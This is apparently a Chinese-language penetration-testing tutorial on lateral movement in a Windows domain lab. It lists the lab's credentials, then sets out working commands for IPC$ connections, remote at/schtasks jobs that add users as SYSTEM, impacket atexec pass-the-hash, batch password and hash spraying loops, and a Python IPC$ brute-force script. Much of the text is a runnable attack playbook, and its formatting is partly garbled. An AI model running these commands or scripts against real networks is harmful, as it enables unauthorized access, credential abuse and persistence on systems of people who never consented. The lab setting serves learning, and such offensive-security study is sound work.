image.pngimage.png

环境配置

2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45

——————————————————- 2003 x86 fileserver
域内文件服务器
本地管理员账号密码 : administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345

——————————————————- 2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345

——————————————————- 2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45 当前机器域用户密码 :
god\dbadmin:admin!@#45

——————————————————- w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45

——————————————————- w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 : .\jack : admin
当前机器域用户密码 :
god\boss : Admin12345

演示案例:

横向渗透明文传递 at&schtasks
横向渗透明文 HASH 传递 impacket
横向渗透明文 HASH 传递批量利用-综合
横向渗透明文 HASH 传递批量利用-升级版

案例 1-横向渗透明文传递 at&schtasks

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?
这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

利用流程

  1. 建立 IPC 链接到目标主机
    2. 拷贝要执行的命令脚本到目标主机
    3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
    4. 删除 IPC 链接 ```powershell

    工作组

    net use \server\ipc$”password” /user:username

域内

net use \server\ipc$”password” /user:domain\username

查看文件列表

dir \xx.xx.xx.xx\C$\

下载文件

copy \xx.xx.xx.xx\C$\1.bat 1.bat

复制文件

copy 1.bat \xx.xx.xx.xx\C$

删除 IPC

net use \xx.xx.xx.xx\C$\1.bat /del

查看对方共享

net view xx.xx.xx.xx

  1. <a name="PmMWn"></a>
  2. #### 建立 IPC 常见的错误代码
  3. (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 <br />(2)51:网络问题,Windows 无法找到网络路径<br />(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题<br />(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$<br />(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除<br />(6)1326:账号密码错误<br />(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况<br />(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
  4. <a name="U8zSu"></a>
  5. #### 建立 IPC 失败的原因
  6. (1)目标系统不是 NT 或以上的操作系统<br />(2)对方没有打开 IPC$共享<br />(3)对方未开启 139、445 端口,或者被防火墙屏蔽<br />(4)输出命令、账号密码有错误
  7. <a name="u5wIX"></a>
  8. #### [at] & [schtasks]
  9. - at < Windows2012
  10. ```powershell
  11. # 建立 ipc 连接:
  12. net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad ministrator
  13. # 拷贝执行文件到目标机器
  14. copy add.bat \\192.168.3.21\c$
  15. # add.bat
  16. net user xiaodi qwe123!@#X. /add
  17. #添加计划任务
  18. at \\192.168.3.21 15:47 c:\add.bat
  • schtasks >=Windows2012 ```powershell

    建立 ipc 连接:

    net use \192.168.3.32\ipc$ “admin!@#45” /user:god.org\administrator

复制文件到其 C 盘

copy add.bat \192.168.3.32\c$

创建 adduser 任务 对应执行文件

schtasks /create /s 192.168.3.32 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\add.bat /F

运行 adduser 任务

schtasks /run /s 192.168.3.32 /tn adduser /i

删除 adduser 任务

schtasks /delete /s 192.168.3.21 /tn adduser /f

  1. <a name="slCYx"></a>
  2. ### 案例 2-横向渗透明文 HASH 传递 atexec-impacket
  3. Impacket官方仓库<br />[https://github.com/SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket)
  4. EXE打包版<br />[https://github.com/maaaaz/impacket-examples-windows](https://github.com/maaaaz/impacket-examples-windows)
  5. ```powershell
  6. atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
  7. atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
  8. atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

案例 3-横向渗透明文 HASH 传递批量利用-综合

  1. #批量检测 IP 对应明文连接
  2. FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator
  3. #批量检测 IP 对应明文 回显版
  4. FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
  5. #批量检测明文对应 IP 回显版
  6. FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami
  7. # 批量检测 HASH 对应 IP 回显版
  8. FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami

案例 4-横向渗透明文 HASH 传递批量利用-升级版

前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典能吃西瓜?

  1. pip install pyinstaller
  2. pyinstaller -F fuck_neiwang_001.py
  1. import os,time
  2. ips = {
  3. }
  4. # net user /domain
  5. users = {
  6. 'Administrator',
  7. 'dbadmin'
  8. }
  9. passs = {
  10. }
  11. for ip in ips:
  12. for user in users:
  13. for mima in passs:
  14. exec = "net use \\" + ip + '\ipc$' + mima + ' /user:god\\' + user
  15. print('--->' + exec + '<---')
  16. os.system(exec)
  17. time.sleep(1)